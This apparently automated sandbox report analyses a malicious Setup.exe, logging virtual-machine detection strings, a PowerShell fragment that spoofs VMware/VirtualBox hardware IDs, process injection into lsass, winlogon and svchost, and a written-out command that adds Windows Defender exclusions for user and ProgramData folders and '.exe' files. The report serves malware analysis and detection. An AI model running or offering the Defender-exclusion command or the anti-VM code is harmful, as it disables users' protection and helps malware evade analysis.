Source: svchost.exe, 00000070.00000000.1631379586.000001778084D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Win32_PnPEntityNECVMWar VMware SATA CD00{4d36e965-e325-11ce-bfc1-08002be10318}System.String[]Win32_PnPEntityCD-ROM DriveSCSI\CDROM&VEN_NECVMWAR&PROD_S39LE_9U_SATA_CD00\4&224F42EF&0&000000System.String[](Standard CD-ROM drives)NECVMWar VMware SATA CD00CDROMSCSI\CDROM&VEN_NECVMWAR&PROD_DWR7T7SL_SATA_CD00\4&224F42EF&0&000000cdromOKWin32_ComputerSystemuser-PCBCAAEBA95E435CA5300A680BE9BF735F04A93ECECD18F46C56865C6158D43B74
Source: svchost.exe, 00000068.00000000.1572890773.0000014DE202B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000068.00000000.1573105114.0000014DE2040000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: svchost.exe, 00000070.00000000.1679265456.00000177FFEB1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware(@
Source: svchost.exe, 00000070.00000002.2809444149.00000177815B6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: PCI\VEN_15AD&DEV_0740&REV_10PCI\VEN_15AD&DEV_0740PCI\VEN_15AD&CC_088000PCI\VEN_15AD&CC_0880PCI\VEN_15ADPCI\CC_088000PCI\CC_0880VMware, Inc.{4d36e97d-e325-11ce-bfc1-08002be10318}SystemvmciPCI\VEN_15AD&DEV_0740&SUBSYS_074015AD&REV_10\3&61AAA01&0&3FWin32_ComputerSystemWin32_PnPEntityuser-PCVMware VMCI Bus DeviceOKVMware VMCI Bus DeviceVMware VMCI Bus Device
Source: svchost.exe, 00000058.00000000.1509946822.000002AB7D800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a8
Source: OfficeClickToRun.exe, 00000074.00000000.1769933033.000001570EDC5000.00000004.00000001.00020000.00000000.sdmp, OfficeClickToRun.exe, 00000074.00000000.1732873071.000001570D70C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: JavaVirtualMachine
Source: svchost.exe, 00000058.00000000.1509946822.000002AB7D812000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk2.06000c2942fce4d06663969f532e45d1aPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: svchost.exe, 0000000A.00000002.2555931604.0000025C04A65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000058.00000000.1507761622.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: storahciNECVMWarVMware SATA CD00
Source: svchost.exe, 00000070.00000000.1633069505.00000177808D7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Win32_PnPEntityVMware Virtual disk SCSI Disk Device{4d36e967-e325-11ce-bfc1-08002be10318}System.String[]Win32_PnPEntityDisk driveSCSI\DISK&VEN_U3GCMCE2&PROD_VIRTUAL_DISK\4&1656F219&0&000000System.String[](Standard disk drives)VMware Virtual disk SCSI Disk DeviceDiskDriveSCSI\DISK&VEN_LZ4ZTPLC&PROD_VIRTUAL_DISK\4&1656F219&0&000000diskOKWin32_ComputerSystemuser-PCBCAAEBA95E435CA5300A680BE9BF735F04A93ECECD18F46C56865C6158D43B74
Source: lsass.exe, 00000031.00000000.1407209712.000001BA8DA13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000038.00000000.1413891488.0000012E36413000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000053.00000000.1477366927.000001B3B942B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000054.00000000.1479752162.0000023368624000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000056.00000000.1485614982.0000029BC7A52000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000058.00000000.1501914715.000002AB7CC43000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000005D.00000000.1537778471.000001C25522B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000005E.00000000.1540169933.00000171ACC2B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000061.00000000.1548378383.000001D50022B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000063.00000000.1557193891.000001EAC5C53000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000065.00000000.1565116913.0000015221659000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 00000070.00000000.1661196455.0000017781590000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DiskVMware__Virtual_disk____
Source: lsass.exe, 00000031.00000000.1407822225.000001BA8DA89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: svchost.exe, 00000058.00000000.1509946822.000002AB7D800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: RVMwareVirtual disk6000c29cbcceb42671d1430c5a2a776c8
Source: svchost.exe, 00000068.00000000.1573512373.0000014DE206A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: UDFBBSCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: svchost.exe, 00000068.00000002.2538587150.0000014DE2046000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000HD
Source: svchost.exe, 00000068.00000000.1572890773.0000014DE202B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000058.00000000.1507761622.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: nonicVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: svchost.exe, 00000070.00000000.1661196455.0000017781590000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DiskVMware__Virtual_disk____2.0_
Source: svchost.exe, 00000058.00000000.1524317200.000002AB7F153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VEN_80EE", $value).replace("VEN_15AD", $value).replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("82801FB", $value).replace("82441FX", $value).replace("82371SB", $value).replace("OpenHCD", $value).replace("VMWare", $value)
Source: svchost.exe, 00000038.00000003.1564486065.0000012E3646E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000068.00000000.1572890773.0000014DE202B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "@\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000071.00000000.1684040204.000001647AE02000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: lsass.exe, 00000031.00000000.1407822225.000001BA8DA89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: dialer.exe, 00000051.00000002.2736429489.00000237CEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=h
Source: svchost.exe, 00000070.00000000.1665419098.0000017781800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ACPI\VM_Gen_CounterVM_Gen_Counter*PNP0C02Microsoft{4d36e97d-e325-11ce-bfc1-08002be10318}SystemgencounterACPI\VMW0001\7Win32_ComputerSystemWin32_PnPEntityuser-PCMicrosoft Hyper-V Generation CounterOKMicrosoft Hyper-V Generation CounterMicrosoft Hyper-V Generation Counter
Source: svchost.exe, 0000006D.00000000.1614000316.0000028F03640000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWws\System32\en-US\wshqos.dll.mui
Source: svchost.exe, 00000058.00000000.1507761622.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: nonicVMware Virtual disk 6000c29cbcceb42671d1430c5a2a776cce
Source: svchost.exe, 00000058.00000000.1509946822.000002AB7D800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: RVMwareVirtual disk6000c29cbcceb42671d1430c5a2a776c0
Source: svchost.exe, 00000070.00000000.1649347225.0000017781213000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Win32_PnPEntitySCSI\CDROM&VEN_NECVMWAR&PROD_DWR7T7SL_SATA_CD00\4&224F42EF&0&000000NECVMWar VMware SATA CD00Win32_ComputerSystemuser-PC(Standard CD-ROM drives)SCSI\CDROM&VEN_NECVMWAR&PROD_S39LE_9U_SATA_CD00\4&224F42EF&0&000000NECVMWar VMware SATA CD00System.String[]System.String[]cdrom{4d36e965-e325-11ce-bfc1-08002be10318}CD-ROM DriveWin32_PnPEntityOKCDROMWin32_PnPEntity
Source: svchost.exe, 00000058.00000000.1524317200.000002AB7F153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Model" -or $pr.Name -eq "PNPDeviceID") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMware'))
Source: svchost.exe, 00000070.00000000.1661196455.0000017781590000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000070.00000000.1658423819.00000177814CA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Win32_PnPEntityACPI\VMW0001\7Microsoft Hyper-V Generation CounterWin32_ComputerSystemuser-PCMicrosoftACPI\VMW0001\7Microsoft Hyper-V Generation CounterSystem.String[]System.String[]gencounter{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterWin32_PnPEntityOKSystemWin32_PnPEntity
Source: svchost.exe, 00000070.00000000.1661196455.0000017781590000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\VMware__Virtual_disk____2
Source: svchost.exe, 00000070.00000000.1679265456.00000177FFEB1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NoneVMware(@

Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node			graph_41-413
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node			graph_81-91

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\dasHost.exe

Code function: 131_2_0000028092387D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

131_2_0000028092387D90

Source: C:\Windows\System32\dialer.exe

Code function: 81_2_00000001408460F0 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

81_2_00000001408460F0

Source: C:\Windows\System32\dialer.exe

Code function: 41_2_00000001400017EC GetProcessHeap,RtlAllocateHeap,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,

41_2_00000001400017EC

Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug

Source: C:\Windows\System32\dialer.exe	Code function: 80_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	80_2_0000000140001160
Source: C:\Windows\System32\dasHost.exe	Code function: 131_2_0000028092387D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	131_2_0000028092387D90
Source: C:\Windows\System32\dasHost.exe	Code function: 131_2_000002809238D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	131_2_000002809238D2A4

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1C8F78F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 1BA8E920000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 12E36FA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 28F8AE40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1C8F7960000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 1BA8E980000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 12E37000000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 28F8AE70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22C35FA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B3B9390000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23368CB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28B68F30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29BC8180000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29D50F40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2AB7D2C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E9297D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A183790000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D564190000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CF6D790000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C2551B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 171ACBC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 283C6530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FF39B80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D500190000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 257B5780000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1EAC63D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20428C60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15222280000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 16D24BB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 163535B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 14DE2730000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B3122B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: 7A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 184E1BC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 211FEB70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28F03C70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F3D2900000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F22EB90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17780D60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1647B460000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 224D0D90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B924FB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1570D1F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1879E9D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 197DB9C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1DF6FFB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 229F9BD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1392A290000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 177AD190000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 227FBAE0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20620920000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 27AAC950000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 167425D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 234F1060000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 1A0BCB20000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 28092350000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1586A4D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2E523130000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: 2530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22D497A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 22AAA920000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1FEFBE50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1F044E50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 26AF0680000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 41_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

41_2_0000000140001C88

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: F78F273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: 8E92273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 36FA273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F796273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8E98273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3700273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8AE7273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 35FA273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: B939273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 68CB273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 68F3273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C818273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 50F4273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7D2C273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 297D273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 8379273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6419273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6D79273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 551B273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: ACBC273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C653273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 39B8273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 19273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: B578273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C63D273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 28C6273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 2228273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 24BB273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 535B273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: E273273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 122B273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\spoolsv.exe EIP: 7A273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: E1BC273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: FEB7273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 3C7273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D290273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 2EB9273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 80D6273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7B46273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D0D9273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 24FB273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe EIP: D1F273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 9E9D273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: DB9C273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6FFB273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F9BD273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 2A29273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\sihost.exe EIP: AD19273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: FBAE273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 2092273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: AC95273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 425D273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F106273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\ctfmon.exe EIP: BCB2273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\dasHost.exe EIP: 9235273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6A4D273C
